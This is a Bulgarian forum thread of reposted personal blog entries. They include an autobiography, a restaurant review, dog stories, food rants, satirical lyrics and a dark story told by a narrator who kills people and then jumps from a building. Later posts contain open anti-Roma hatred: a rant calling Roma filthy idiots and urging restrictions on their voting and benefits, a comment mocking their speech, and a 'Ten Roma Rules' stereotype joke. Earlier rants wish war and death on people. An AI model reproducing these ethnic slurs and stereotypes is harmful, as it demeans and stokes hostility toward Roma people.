„Ще сгреши всеки политик, ако реши с външна намеса да решава вътрешнополитически проблеми в страната си.“"
-
Едно последно, автобио от нея:
"Коя съм аз?
Здравейте! Аз съм Цецка Бончина. Чудите се коя съм! Отлично! Сега имате възможност да научите, ако имате време и търпение…
Родена съм на брега на истинска златоносна река, бележеща извора си от северните склонове на западна Стара планина, в отдавна “затихващо”селище, както го квалифицираха преди доста години малоумни, управляващи държавата ни. И сториха всичко – и възможното, и невъзможното, за да го превърнат в такова. Не се възмущавайте от липсата на евфемизми! Във време като нашето няма място за такива. “Малоумни” ги нарече и моят почитан световноизвестен и по-малко български-известен мой земляк Йордан Радичков. Някогашната нива на родителите ми, “закупена” от наивната ми майка, /вече покойница/, преди две години за жълти стотинки от българо-италианец, “инвеститор”-мафиот, беше на километър от родното село на мъдреца – Калиманица, изселено пак от недалновидни държавници, самозабравили се от хиперпроекти за собствените си “паметници неръкотворни”, с болезнена надежда да увековечат гръмогласно легитимираното си его…
В семейството ни съм най-малката от три сестри. Като девойка все си мечтаех да се случи нещо изключително, нещо свръхромантично в живота ми. Очаквах подобен миг ден след ден, година след година. Уви! Нищо главозамайващо не се случваше. Докато един ден:
…Липси са товарили душите на родителите ми през целия им живот. Но те са си виновни – защо им трябваше да бъдат строги, морални, дисциплинирани, добродушни, родолюбиви? И достойни! За кого и за какво? Единствено за децата си, оказа се впоследствие. От ДС /“Държавна сигурност”/ предложили на баща ми “добра служба”, която светкавично щяла да го изстреля във висините с чин “генерал”! Горкият мой татко! Отказал категорично! Дори останал възмутен от обидата. Беше завършил само основно образование, но компенсирал липсата на образованост със свръхинтелигентност, придобита чрез много любознателност, много книги и много пътувания. Но пък беше очевадно, че ДС не беше претъпкано с образовани и свръхинтелигентни!
И така, нашите родители ни бяха възпитали повече от престъпно – по спартански, с придобиване на качества, които те убиват във време като днешното…Ако не успееш да се превъзпиташ. Но как да го сториш след няколко десетилетия на вярност към Родина, майка и баща?…
Няколко години пътувах всяка седмица до близкия град Михайловград /днес Монтана, някога Кутловица/, където учеха сестрите ми, за да им нося пълни кошници с храна, която майка приготвяше с много любов. При едно поредно пътуване, слизайки от автобуса, вече се смрачаваше и градчето почти беше замряло. Била съм около десетгодишна. Пътят до квартирата на сестрите ми минаваше през т.н. градска градина, осветявана преди повече от четири десетилетия преди всичко от небесните светила. Пътеката минаваше точно пред градската тоалетна на окръжния град. Вече изнемогвах от тежките кошници, когато съвсем близо до мен долових необичайно подсвиркване, или дюдюкане, или шушукане – споменът е поизбледнял от годините, но съвсем ясно помня и виждам до ден днешен идиотското “мъжество” на изрода, който го клатушкаше пред детските ми, обезумели от страх очи…Изпуснах кошниците, всичко се разпиля…С нечовешки писъци успях да посъбера онова, което успях да видя в настъпилия ужас и отново хукнах по пътеката към квартирата на сестрите ми…И никой нищо не чу и не видя…Нямаше жива душа…Не смея да помислям какво щеше да се случи с малкото селянче, ако онази привечер беше сегашна привечер!!!/Нека някой посмее да оспори, че “онова “ време имаше и “положителни” характеристики – все пак изродът не изнасили детето, нали!/ Оттогава ми остана привидно неосъзнатата ненавист и омраза към “силния” пол”!
А девойката от миналото жадуваше романтични и забележителни събития в живота си! В последвалите години зейна Адът. И не се затвори. До днес, когато пиша тези редове. Но за да има все пак някакъв смисъл скромният ни живот, понякога проблясват и светлините на Рая:
Миналия уикенд /6 ноемри/ в къщата в родното ми село посрещнах скъп приятел – проф. Галилей Симеонов. Наричат го “последният жив класик в националното ни графично изкуство”, поставен в класацията на елитните художници от втората половина на 20-ти век, “свирил първа цигулка през 70-те години в бранша”, както споделя Теодоси Антонов, директор на художествена галерия ”К.Петров”. Някой ден ще ви разкажа как живее днес този гений! За срам на нацията ни, която и той е прославял с години!
Посланието, което магьосникът саморъчно написа в личния ми тефтер, е достойно за историята. То осмисля всички спадове и извисявания. Преписвам го дословно:
“Или Животът, или Смъртта са нищо!? Защото подобно на тях, подобно на великите хайдути, имаме шанса да сме най-отгоре им.
Важно е да се изнижем забележимо!”…
Следва Продължение.
С почит към Теб, уважаеми Читателю!
Авторката"
...
И Светлана Александрова във връзка с горното съдържание:
"17.04.2011 в 11:37
Честит празник!
Цветница е началото на нов цикъл в българската природа от векове. Пожелаваме ти здраве, ентусиазъм и топлина в душата ти. Продължавай да носиш светлина и чувствителност. Обичаме те!
Александра, Християн, Светлана , Красимир"
Ами това е всичко от нея, което имах и реших да ви го споделя. Да завърша с "Без Страх
Завинаги!"
-
Браво! Така се пише! (thumb up) Че гледам и аз да се включа с едни от отминалите години. Само да ги намеря и ще е, когато намеря време. :P
-
Намерих времето. Времето е наше! :P Гледайте сега какво става! Почвам го с това от отминалите.
КУЛИНАРНО ПРИКЛЮЧЕНИЕ С ЕКСТРИ… СТРАНОПРИЕМНИЦА ЧУЧУРА В СОФИЯ НА бул. Х. Ботев.
05.02.2012
Не мога да не споделя с някого това изключително преживяване, за нещастие няма с кого друг, така че ще е с вас.
Няколко пъти минаваме покрай тази кръчма и ни хареса табелата и, една такава дърворезбована и обещаваща нещо интересно и вкусно…
Та така, след няколко месеца най-накрая ми се отдаде случай да я посетя.
С влизането ме изпълни лека паника, поглеждайки мръсотията и паяжините, но си казах – разбираемо, битова обстановка искат хората да се почустваме като в истинска стара кръчма.
Оглеждахме къде да седнем и си избрахме една паянтава и скърцаща маса която се клатеше все едно е насилвана от отряди дървояди в продължение на векове и закрепена с два пирона след поредното пиянско сбиване и започна да ни обзема съмнение че тази „страноприемница“ не е точно това което си представеяхме и е възможно да има леки несъответствия между реалноста и фантазиите ни породени от обилно слюнкоотделяне и глад.
Дойде усмихнат застаряващ сервитьор с физиономията на квартален алкохолик с дълъг стаж и опит и ни подаде менютата. веднага го контраатакувахме с въпроса:
-Какво ще ни предложите което да ни впечатли и да ни се хареса?
Получихме само мънкане и намеци че всичко е мого вкусно и се прави на момента.
За да придобиете представа за нивото на готвене в такива кръчми е задължително да се поръча следното:
кебапчета и кюфтета
картофи
супа
готвено
Така и направихме но резултатите се оказаха не просто по слаби от очакваното, а направо бяха размазващи!
Да караме подред. Първо ни донесоха напитките които категорично отказахме да пием в предложените ни чаши…
След това от горния етаж дойдоха няколко човека в домашни дрехи преобладаващо с неофициални анцунзи – /явно си живеят там/, сред тях и едно дете което тичаше, обикаляше, викаше и си играеше измежду масите и клиентите… впрочем клиенти бяхме само ние и още една маса.
Няколко думи за менюто:
Супата… УЖАС, НО СМЕ ВИЖДАЛИ И ПО ЛОШИ…
Кебапче и кюфте… какво да ви кажа, ако харесвате полуфабрикати от най-нисък клас ще ви харесат. кюфтето с форма на изрязано от дебел картон и със същия вкус, кебапчето и то подобно.
Шопска салата… няма какво да кажа, завидно нормална на фона на всичко останало. поръсена с фино настъргано сиренце без излишна камара магданоз… разбира се според сезона ,скромна порция с гадни изкуствени зеленчуци, за което не ги обвинявам.
Пържените картофи дойдоха в чинийка, която прилича на тези често поставяни пред тоалетните на ресторантите да пуснете някоя стотинка, тип балкан турист – чинийка от комплект за чай. Картофите вътре не бяха лоши, все пак е трудно да не можеш да опържиш готови бланширани картофи.
Нищо друго не си струва да се спомене, с изключение на невероятната вкуснотия, който се наложи да чакаме повече от час – „Телешка глава в шкембе“.
Тази гозба съм я ял на доста места и винаги е била вкусна, но тук успяха да ме изненадат и то БРУТАЛНО!!!
Гледахме това което донесоха с нескрито учудване и интерс, миришеше и изглеждаше като евтина консерва кучешка храна размита в топла вода, а най-лошото беше и ЧЕ ВКУСЪТ И БЕШЕ СЪЩИЯ.
Побързахме да се махнем оттам без да сме си хапнали и пийнали. сметката поне беше ниска, цените са си доста ниски 1 левче за кебапче, обедно меню за 5 лева и някакви подобни евтинки изкушения.
Да не забравя да ви кажа, ако все пак решите да посетите тази кръчма, то отидете до тоалетна преди това и си измийте ръцете, за да не ви се налага да посещавате тяхната тоалетна…
Аромата и хигиената ги няма и ви избива носталгия за градските тоалетни…
Порових в нета да разгледам има ли други мнения за тази кръчмичка… и попаднах на нещо невероятно написано 2001-ва година в сайта на весник Стандарт, а предполагам че е било публикувано и в самия вестник. Една статия за тази невероятна страноприемница и вкусните гозби в нея…. Зачудих се много – какво е получила авторката, за да напише подобна статия?
Наистина и е харесала кухнята? – не вярвам…
Получила е някой лев?
Получила е безплатна вип вечеря?
Или просто е роднина?
ето я и статията написана от Албена Атанасова
http://paper.standartnews.com/archive/2001/11/02/family/s3177_8.htm
Ако някой е ходил там, нека сподели – ние ли сме попаднали в кофти момент или написаното си е вярно?
-
Три кучешки истории които ме трогнаха.
Колкото повече опознавам хората, толкова повече ги намразвам. Интересното е че колкото повече опознавам кучетата, толкова повече ги обиквам.
Тук ще ви преразкажа на бързо три истории за кучета които ме трогнаха много.
Първата история е от миналата година. Можете да намерите клипове в youtube и в vbox има доста и да я изгледате, на мен ми е тежко да я гледам, затова и няма да постна клипа тук.
Куче е блъснато на магистрала от минаващите коли, и вие от болка, мъчи се да се изправи, но не може задните му части са неподвижни. Друго куче чува виковете му за помощ и се провира между колите за да го спаси! ТОВА Е МАГИСТРАЛА! Кучето на няколко пъти рискува да бъде блъснато. Захапва блъснатото куче за врата и го изтегля извън пътя!!! Рискува собствения си живот за да помогне на другото куче. Не знам дали са роднини или са улични приятели. Важното е че кучето се спуска и помага на другото! КАК ЗАЩО? ИНСТИНКТИ ЛИ СА ТОВА?
Втората случка е стара от времето на комунизма. Стопанин на куче заминава някъде със самолет и така и не се връща. Кучето до края на живота си остава на аерогарата и посреща всеки един пристигащ самолет. Вглежда се в слизащите пътници търсейки стопанина си! Така и не дочаква завръщането му, но е вярно и неотлъчно до края на живота си то чака и се надява.
Третата е сходна със втората, но действието се развива на железопътна гара в Япония. Кучето всеки ден изпраща стопанина си до гарата. откъдето той отива на работа, а кучето се прибира и вечер отива отново до гарата за да посрещне стопанина си като се прибира. Това продължава с години, докато един ден човекът умира на работното си място. Кучето продължава ден след ден да ходи всяка вечер и да чака стопанина си да се прибере. В продължение на повече от десет години до смъртта си кучето всяка вечер в определения час отива на гарата и чака…
Най-лошото в цялата тази история е че докато пиша за кучетата се просълзявам, а не ми се е случвало скоро да пиша за хора и да се просълзя… Нима кучетата са станали повече хора от нас?
п.п. сега докато търсех снимка за тази статия в гогле попаднах на информация в wiki за третата история, ето и линка WIKI – ХАЧИКО (https://bg.wikipedia.org/wiki/%D0%A5%D0%B0%D1%87%D0%B8%D0%BA%D0%BE) Хората дори и статуя са му направили.
Коментари:
lilia on 13.01.2011 at 23:17
Когато става дума за самота-няма нещо което да я опише…Движи ,убива…
Val on 05.10.2011 at 12:44
Историята на Хачико дори е екранизирана. Филмът е много добър :) Но най-хубавото е, че е по истински случай ;) Има и още една кучешка история, която си заслужава да се види – Осем герои (Eight below) се казва филма. Пак е по истински случаи и се разказва за 8 кучета, които сами оцеляват зимата в Антарктида. Кучето е най-добрият приятел на човека :) Никога не трябва да го забравяме ;]
pti on 03.01.2012 at 00:45
Знам тези истории. Но те са тъжни.
Може би исторически най-важната е когато руски писател – Тургенев ли беше или Чехов, подарява кучето си на френския писател Балзак, който му е на гости в Русия. Кучето избягва от Париж и намира пътя да се върне при стопанина си на хиляди километри.
Казах „тъжни“… То и това не е много весело, но го пускам, защото е изключително трогателно и няма как да го режисираш.
http://www.youtube.com/watch?NR=1&feature=endscreen&v=4g76K6Y6QY0
pti on 03.01.2012 at 03:00
Като съм почнал, давай:-) Авторът вероятно има пред вид (то има още хиляди) този клип –
http://www.youtube.com/watch?feature=endscreen&NR=1&v=Mov_05Us8Fc
(Аз съм го преживял това наистина)
Хайде нещо по-весело -
http://www.youtube.com/watch?v=JBh0wpdZrms&feature=endscreen&NR=1
pti on 28.12.2012 at 18:08
Не можах вчера да гледам филма „Хачико“. Пуснах търсене „балзак куче тургенев“ и стигнах до вас. Всъщност името му, изминало хиляди километри за да се върне, не е толкова важно. Важното е, че кучетата се състезават с жената и коня, за да бъдат най-добрия приятел на човека.
:-)
-
Не овчарка, а питбул, не стопанина, а друг е изяден, не били компютри, а били компоти…
20.04.2009
Evil Dog
http://dnes.dir.bg/2008/03/11/news2757460.html
Ето затова не си купувам вестници и не следя новините от години…
каквото хвана по телевизията и мерна в нета…
та топъл пример :)
Гръмнаха заглавия – НЕМСКА ОВЧАРКА ИЗЯДЕ СТОПАНИНА СИ…
немска овчарка нахапала до смърт стопанина си…
бре да му се невиди – аз като горд собственик на такова куче си викам това трябва да го прочета – как може овчарката да изяде стопанина си – веднага ме загриза – ами нали с това се славят колко са верни на стопаните си тея овчарки …
И се помъчих да си представя как аджеба моята АМБЪР ще ме нахапе мен – дето съм я отгледал от една топка космии бълхи
хранил съм я и съм и чистил акотата :)
Не може да стане !!!
та докато размишлявам – се появиха новости по темата и какво се оказа…
НЕ БИЛО ОВЧАРКА -А ПИТБУЛ…
НЕ БИЛО НА ИЗЯДЕНИЯ – А НА НЕГОВ СЪСЕД…
Сетих се за темата отпреди няколко месеца – Англичанка нахапана от собствените си кучета които гледала в двора си
после се оказа че били бездомни, после били на комшията и после … после всичко си замлъкна – ихууу всяко чудо за три дни …
та се сетих за стария виц от татово време:
изнесли сме 100 000 компютри за Япония..
обаче се оказало – че не били компютри – а компоти
и не били за Япония а за Русия
и не били 100 000 а били 10 000
и не сме ги изнесли- а сме ги внесли …
та цялата тая работа не попречи на злобните и завистливи хорица да писнат против кучетат колко били лоши злобни миризливи и дай да ги избием .. бля бля бля …
МРАЗЯ ХОРАТА – И СЕ ГОРДЕЯ ЧЕ СЪМ ТЕМЕРУТ …
НЯМАМ ТЪРПЕНИЕ ДА ДОЙДЕ ВОЙНАТА И ДА СЕ ПОИЗЧИСТИ ЗЕМЯТА ОТ ТОЛКОВА МНОГО ХОРА … просто не заслужаваме да живеем ? май се поотклонихме а :) РЕВОЛЮЦИЯЯЯЯЯЯЯЯЯЯЯЯЯ ТЕМЕРУТИЗАЦИЯ НА ПОПУЛАЦИЯТА – УРАААААААААААААА :lol: :lol:
–––––––––
-
Това ще го пейстна с редакции (цензури), за да не изям бан заради езика.
ЯДЕМ Л.ЙНА… сори за думата но има цели презокеански кораби кръстени на нея !
20.04.2009
Осрахте държавата осрахте я – поевропейчихте, поамерикачихте, поромихте… направо и еб.хте мамата – айде това ще ви го простя…
Че осрахте и маратонките и човек обикаля по три дена по „Графа“, да си търси маратоняци и само едни и същи грозни, осакатени галоши навсякъде, с горд надпис точно под цена 200 лева, пише маде ин шина
Ви го намъдрям и за обувките по цяла пиротска обувки немой да си купиш, по 60-100 лева боклуци и грозни … нямаш избор купуваш…
качесто друг път, визия ич… еб. ги прощавам им
ОБАЧЕ ЧЕ ОСРАХТЕ МАНДЖАТА НЕМА ВИ ПРОСТИМ, Л.ЙНЯРИ ДАНО ПАРИТЕ ДЕТО ГИ ПЕЧЕЛИТЕ ОТ ОСИРАНЕТО НА ХРАНАТА, ЗА ЛЕКАРСТВА НА ДЕЦАТА СИ ДА ГИ ДАВАТЕ !!!
Не съм си купувал пилешко от 2 години – ядем мазни ПАТКИ само че поне не са изхакани колкото пилешкото
свинското и него осрахте – отнямай накъде проядох агнешко – даже мисля да ходя и да се обрежа вече …
И САЛАМА КАМЧИЯ КЪФ БЕШЕ УБАВ ЕДНО ВРЕМЕ А СЕГА И КУЧЕТО МИ НЕ ГО ЯДЕ…
ЩОТО И ПОТРЕБИТЕЛИТЕ СТЕ Л.ЙНА – ТЪПИ КОНЕ С КАПАЦИ СТЕ ВСИЧКИ – ПРОМИВАТ ВИ МОЗЪЦИТЕ С РЕКЛАМА И КУПУВАТЕ КАКВОТО СА ВИ НАБИЛИ В ТЪПИТЕ НЕГРАМОТНИ КРАТУНИ – /ДАНО ИЗМРЕТЕ НАРЕД ОТ БОЛЕСТИ ВОЙНА И НАСИЛИЕ/
38 ДЕНА ОТ ИЗЛЮПВАНЕТО НА ПИЛЕТО ДО КЛАНЕТО МУ – 38 ДНИ И ЗА ТОВА ВРЕМЕ ТО СТАВА КИЛО – КИЛО И ПОЛОВИНА – Л.ЙНЯНО МЕСО И ЛЕД …
В КРЪЧМИТЕ ДАЖЕ И В КЕНТЪКИ ПЪРЖАТ НАПОЛОВИНА СУРОВО МЕСОТО НАБЪРЗО ЗА ДА НЕ ИМ ПРЕГАРЯ МАЗНИНАТА И ДА Я ИЗПОЛЗВАТ ПОВЕЧЕ – ДАВАТ ТИ НАГОРЕЩЕНО ПОЛУСУРОВО МЕСО НА КЪРВАВ КОКАЛ АМА НАЛИ СТЕ ТЪПИ ГЛАДНИ И С ПРОМИТИ ОТ РЕКЛАМИ МОЗЪЦИ ЛАПАТЕ И Л.ЙНА ДА ВИ СЕРВИРАТ ПАК
ЩЕ ЯДЕТЕ!!!
И НЕ САМО ТАМ КУПУВАЛИ ЛИ СТЕ СИ ШУНКА СКОРО ? – КУПУВАЛИ СТЕ СИ АМИ, НАЛИ СТЕ СЛЕПИ ТЪПИ ПОТРЕБИТЕЛИ .. ПЪЛНИТЕ СИ ПОТЕРЕБИТЕЛСКАТА КОШНИЦЖА В МАГАЗИНА … ШУНКА – ХАХА КАК ЛИ ПЪК НЕ – ПОМНИ ТЕ ЛИ ШУНКАТА ОПРЕДИ 10 ГОДИНИ ?
А? ШУНКААА НЕ МЛЕНИ Л.ЙНА С НЕПОДОЗИРАНИ СЪСТАВКИ …
СЪМНИТЕЛНА КОНСИСТЕНЦИЯ… АМА КАКВО ВИ ПУКА НАЛИ Я РЕКЛАМИРАТ
А САЛАМА БЛЯЯЯЯХ АМ КРЕНВИРШИТЕЕЕЕЕЕЕ
НО ВСИЧКИ СТЕ ТЪПИ И СЛЕПИ И КУПУВАТЕ ДА ИМА КАКВО ДА ЯДЕТЕ И КУПУВАТЕ ВСЕ ПО ГОЛЕМИ БОКЛУЦИ
ЕДНО ВРЕМЕ СИ МИСЛЕХ ЧЕ В ЧУЖБИНА НЕ Е ТАКА И СЕ ДЪЛЖИ НА ПРЕХОДА Л.ЙНЯНАТА ХРАНА В МАГАЗИНИТЕ
БЯХ НАИВЕН И СИ ВИКАХ КАТО ВЛЯЗАТ ЕВРОПЕЙСКИТЕ СТАНДАРТИ ЩЕ СЕ ОПРАВЯТ НЕЩАТА …
ЩЕ СЕ ОПРАВЯТ ДРУГ ПЪТ И ТАМ ЯДАТ СЪЩАТА ПОМИЯ – МИ НАЛИ ТЕ НИ НАУЧИХА НА МОДЕРНАТА ТЕХНОЛОГИЯ ДА ПРАВИМ ОТ КИЛО СЛАНИНА 5 КИЛА КАЙМА !!!
–––––––––
Коментари:
ivan on 28.11.2009 at 15:43
taka e pi4, za sujalenie si prav
Nanny Ogg on 28.11.2009 at 15:50
Интересно, след като не си тъп потребител с промит мозък какво кльопаш ? Баба и дедо от село ли те спсяват или си минал на фотосинтеза?
OBERiON on 10.12.2009 at 20:21
Подбирам дева.. зор е и често не улучвам, но поне мога да си позволя да експериментирам… повечето си ядат гнусениците и не им пука…
и ти хапваш пица от лев и пИдИсе нали… мм че укуснуууууу :)
-
Това мисля, че е ок. "Беше хубавица, а сега си крава…
20.04.2009
Това не е писано от мен – копи и пейста си свършиха работа… тези текстове преди 100 лета бяха обърнати в песни … хм колко са атуални дори и сега. Разбира се повечето от вас с закърнелите си мозъци трудно ще го осъзнаят, но това си е ваш проблем …
оргинал:
ВРЕМЕТО МИНАВА
Понеже отскоро носиш халка,
и се гордееш дори със това,
след бала ти сватба, егати живота,
мъжа ти в казарма – строителна рота.
Твоята свекърва пази те на село,
храниш там прасето, да е по-дебело,
вечер новините гледаш чернобели,
и сама заспиваш сред стени дебели.
Преди все те гледах от моя балкон,
как те изпращаше един като кон,
и само мечтаех да бъда със теб,
но дявол го взел, тоя пусти късмет.
Рядко, но те срещам, тъй минават дните,
бързо си направила сенки под очите,
бременна си вече и си ти личи,
нищо не ми казвай, просто си мълчи.
Хубавите тикви, ги ядат свинете,
все така се случва, връзват ми ръцете,
що ли се ядосвам, карай да върви,
карай, ама вътре нещо ме боли.
Бързо се запалвам, бързо и угасвам,
и не искам аз, не искам да порасвам,
с ролки на главата и по пеньоар,
даже и по чехли ходиш на пазар.
Беше хубавица, а сега си крава,
карай да върви, времето минава,
щом живеем в блато, нека да сме жаби,
колко сте ми смешни, 20 годишни баби …
Много актуална дори и сега.
Само това с казармата го няма вече, но все пак смисълът е същия.
Загледайте се, много от вас ще се познаят тук скъпи лейдита.
да не забравяме и нашето светлУ бъдеШТе – децата …
ТОВА Е ТРАГЕДИЯ
Това е трагедия, не може така,
на чалга да учиш, малки деца,
те после порасват и става една,
непоправима и гадна беля.
Децата не искат сега камионче,
децата се молят за мобифонче,
не искат ни кукли, ни дървено конче,
те просто мечтаят за милионче.
Това е трагедия, на чувства разбити,
децата порастват и стават бандити,
те друсат кючеци и тумбаци сити,
защото във детството малко са бити.
Децата живеят във тъпа страна,
в която се носи чалга-воня,
в която се случват само гадни неща,
но всеки си вика – какво от това!
Това е трагедия, мазна полюция,
тук имаме нужда от революция,
от здрава, масирана, насилствена акция,
по време на някоя детска ваканция.
Децата ще плащат родителска грешка,
и много ще страдат от глупост човешка,
ще мъкнат със себе си, поличбата тежка,
келеши се раждат в родина келешка.
Това е трагедия, свита в юмруци,
разпространявана от чалга-боклуци,
осакатяващи своите внуци,
дори в БеЕмВе-та, те пак са в каруци.
Децата са малки, те не разбират,
с промити мозъци пътя избират,
удавени в кича, тъпизми събират,
и чалга след чалга колекционират.
Това е трагедия – пълен провал,
всичко е празно и пълно с печал,
живот сред воня, мухъл и кал,
е как за това да ми е жал?
Децата са други и те не го скриват,
те изнасилват, те даже убиват,
те се дрогират, от болка се свиват,
но за кючеци просто загиват.
–––––––––"
-
Това може да е добро за почитатели на лит. творчество.
"Сянката и тъмнината.
27.08.2010
Избяга далеч и остана там – така ти е по-добре нали!?.
Не те виня и аз бих избягал ако мога … На теб ти е лесно, реши и го направи… за мен не е така…
Има неща които колкото и да искаме не можем да променим. Сянката е моя,аз не мога да избягам от нея, не че не съм се опитвал. Разбира се че съм го правил,кой не е, но не се получи или тя е упорита или на мен ми липсва нужната сила…
Да разбира се – опитвал съм и да я убия… поставял съм и капани, бесил съм я тровил съм я… жилава е… мисля че със скок от високо ще успея, но не ми стиска, затова ще си живея с нея… и ще се съобразявам с това което прави тя…
Реших че светлината и дава сила… реших да я реша от силата и и така да я победя… Затворих се в къщи, счупих лампите, закрих прозорците и заживях сам в тъмнината. Вече не виждах сянката си, но и усещах че макар и слаба, макар и невидима тя е някъде тук спотай ва се… дебне ме… Нашепва ми в тъмното и чака… тя е търпелива, но реших и аз да бъда силен и да се боря докрай… Започнах да свиквам и да приемам тъмнината за приятел. Стртаха от тъмното постепенно изчезна…
Вече не ме беше страх от фантазиите ми. Тъмнината ми стана приятел, усещах как ме обвива нежно, как ме гали, как ме насочва. Тя ми показа истинското лице на старите ми приятели, разкри ми истината за тях. Лицемерието и егоизма им. Сега разбрах че те са фалшиви. Благодарих и искренно и и се отдадох. Понякога фалшивитеми приятели идваха и звъняха на вратата ми. Не им отварях не ми бяха нужни, имах си тъмнината. Строших звънеца, но лицемерите започнаха да чукат на вратата. Звукът ме влудяваше и помолих тъмнината за помощ, тя винаги бе с мен тя ме разбираше и подкрепяше. Измислихме план и когато следващия път се почука, аз отворих и ги поканих да влязат. Гледаха ме странно и ми говореха нещо усмихвайки се. Знаех че тези усмивки са фалшиви, извиках тъмнината и усмивките им изчезнаха. Скоро писъците секнаха и останах отново сам с тъмнината. Блаженството ме обгърна, благодарен и се отдадох отново с цялата си душа. Тя ме прие ласкава и потънахме в забрава. Забравих за времето, то ми бе ненужно нали тъмнината бе с мен, бяхме заедно, другото нямаше значение.
Нещо не спираше да ме притеснява, усещах чуждо присъствие което пречеше да съм сам с моята любима тъмнина. Почти бях забравил за сянката… почти я бях накарал да изчезне, не и давах светлина и тя линееше. Беше слаба, влачеше се едва едва след мен, невидима и безсилна, но присъствието и опорочаваше святоста на моето щастие. Постоянно ми напомняше за присъствието си и караше стари спомени да нахлуват в главата ми, като варварски орди. Знаех какво трябваше да направя, знаех че трябваше да реша този проблем завинаги. Бях слаб и страхлив, помолих тъмнината за помощ и тя се отзова веднага. Даде ми сила и смелост. Благодарих и тихо и я прегърнах с любов и преклонение. Прескочих труповете в коридора и излязох навън. Лунната светлина бе слаба, но усетих как започна да възвръща силите на сянката ми. Трябваше да побързам преди да е станала силна отново. Забързах към на-високата сграда. разминавах се с някакви хора те се спираха и ме гледаха странно, разбрах защо. Те бяха роби на собствените си сенки, но не го осъзнаваха. Опитах се да им обясня да им покажа истината… Не ме разбраха и избягаха. Само една жена остана и продължи да ме слуша, но четях нерабиране в очите и. Нямах време да я убеждавам, затова се пресегнах и и помогнах да се отърве от сянката си. Оставих я да лежи на земята и се запътих към най-високата сграда която видях. Докато се качвах по стълбите чупех всички лампи за да помогна на тъмнината да ме следва. Тя не ме остави сам, а ми помагаше и напъстваше, толкова нежна, толкова всеотдайна, бях и признателен и незнаех как да и покажа цялата си любов. Сълзите ми потекоха от толкова благодарност и любов, те бяха дар за нея и тя го прие. Об гърна ме с цялата си красота и закрила и ме поведе вдъхвайки ми нови сили. Качих се последния етаж. Сянката ми усещаше че искам да се отърва от нея и се дърпаше с последните си сили. Чувах молбите и писъците и усещах страха и. Това ми даде смелост за последните крачки. Не се поколебах нито за миг. стиснах я силно и я хвърлих през прозореца. Тя ме повлече със себе си, но аз знаех че тъмнината е там и ме чака усмихнах се и протегнах ръце да я прегърна…"
-
Този сайт е по правилата и е против дискриминацията, насилието и въобще е много пацифистки и френдли. Някъде по-нагоре четохме, че има и добри цигани; не са всички цигани лоши. Има и сериозна тема за циганите (ромите) (http://www.seo-forum-seo-luntan.com/other-languages/a-ate-(omte)/msg12262/#msg12262). Но блок 20 в Ямбол не беше най-доброто, което можеше да видим от циганите. И имаше едно мнение от отминалите години, което ще ви дам тук да го прочетете.
"Събориха блок 20 до Ямбол
20.09.2010
Ей най-накрая да покажат някакво действие. Не знам кмета от Саркози ли взема пример или му е писнало и на него от този блок… Но най-сетне започнаха да го събарят… Е гледахме новините, не мина без инциденти, но тъпите обитатели сами са си виновни. Има една стара приказка – не сереш там където ядеш! Дори кучетата го знаят, но явно циганите не! Интеграция ли? Помощи ли? Съчувствие от мен няма да получат. Разбира се ще се намерят и такива мазни лицемери които искат да хванат някакви ползи от това. Знае се защо ги търпят циганите, защо им дават по-малко колкото да не се изядат един друг. Няма да се хабя да пиша за това, на всички е известно кое и как. Лошото е че тези ЦИГАНИ от този блок ще се пръснат по околните села и ще крадат и правят малки локални гета пълни с мизерия и гнус.
Според мен този блок не трябваше да го събарят, а да го направят МУЗЕЙ НА ЦИГАНСКАТА ДЕБИЛЩИНА. Малки и големи да му се радват и да го посещават и не само те, а и чужденците като идват в България, да им правят задължителна обиколка на блок 20! Да го запазят като един ямболски „ЕТЪР“ и да се насладим на бита и ежедневието на циганите!
Всички знаят как може дасе реши този проблем, но на никой не му изнася да се занимава с това! Колко му е да се разреши да гласуват само хора със минимум средно образование? Колко му е да не се дават помощи на многодетни семейства ако родителите пак нямат поне средно образование? Аз не искам да живея заобиколен от циганска сган. Но явно на вас ви харесва… Пожелавам на сички които си заравят главите в пясъка, да живеят заобиколени от подобни блокове. С нагли циганки които реват ч не им дават помощи и жилища! Които са научени че на тях им се полага и ако не им се дава доброволно, да си вземат сами!"
Ето и един от коментарите от онова време.
" dejaviewer on 05.10.2010 at 17:05
Аз още си спомням един репортаж с ена мърла дето възмутена изгряка- „мчи те утри ши пуискат и тока си плащами, аамаха..“ Интеграция? Моооляя?!
В тоз случай 1во се минава през „Цивилизация“, па най-подир с другите. Аз шса чудя отде да да избарам пари, а муджахидин с мазна физиономия дъвчещ баничка, от прозореца на 1 бмв ми вика-“бате, радио да ти требе?“ Бе мани бе…"
-
Още едно в контекста на предното. Вица за "Десетте рИмски правила!"
"Десетте рИмски правила!
Не работи – българите да работят.
Не кради, а си вземай.
Не лъжи – много.
Прави деца, държавата ще ги гледа.
Не учи, а ходи да просиш.
Не плащай за ток и вода, те ти се полагат.
Ако по релсите не е минавал влак от 3 дни може да ги вземеш.
Жиците растат по стълбовете – набери си.
Не се къпи, калявай си имунната система.
Не спазвай законите, ти имаш права!
"
-
Минавам на едно друго, посветено на хранителни продукти (с цензурката на по-хард нещата, за да няма банове).
"Горда “Стара Планина” – пак ли ще ядем л.йна?
Подмамен от носталгия към стария вкус на колбасите се засилих към Кауфланд, за да си напълня потребителската кошничка с месни изделия, носещи гордата емблема на държавния стандарт. Намерих си кебапченца… забравих им марката за съжаление, но изглеждаха все едно са ги запечатвали там на място. Купих салам “Стара планина” две марки на “КЕН” и “САЧИ” и Кренвирши на “САЧИ” както и тяхна каймица.
Първо трепнещ от очакване си цвърнах кебапченцата… Чесно казано харесаха ми, чак се учудих :) изядох поне 5 и то с кеф… напомниха ми на вкуса от селски сбор отпреди 15 години. Израдвах се почти идеални бяха не чак на 100%, но си заслужаваха! След ден два от каймата си направих и принцеси… отлично! Личеше си че е от месенце:). Вече доволен, с кеф отворих и салама на Кен… Е там малко се поразочаровах, но все пак по-добре отколкото боклуците които предлагат по-принцип, не бях ял салам без да го изплюя поне от 10 години. Има вкус на Камчия от ехеехехехеееее време оно :) малко на цвят не го бяха докарали, но карай- бял кахър… обаче хубавото свърши дотук…Кренвиршите на САЧИ бяха най-голямото разочарование, ужасяващо гадни с цвят и мирис дори по-гаден от кренвиршите които си продават ибез емблема истандарт, техните бяха хубави самокато ги пуснаха, когато им тръгна рекламата преди няколко години ” кренвиршите от месо”… СУХИ… ТЕБЕШИРЕНИ, ОТВРАЩАВАЩО ГАДНИ… ПОНЕ КУЧЕТО ИМ СЕ ИЗКЕФИ /но то е маниак на тема кренвирши и яде всякакви от 2 лева килото до такива от 10 лева килото:)/… 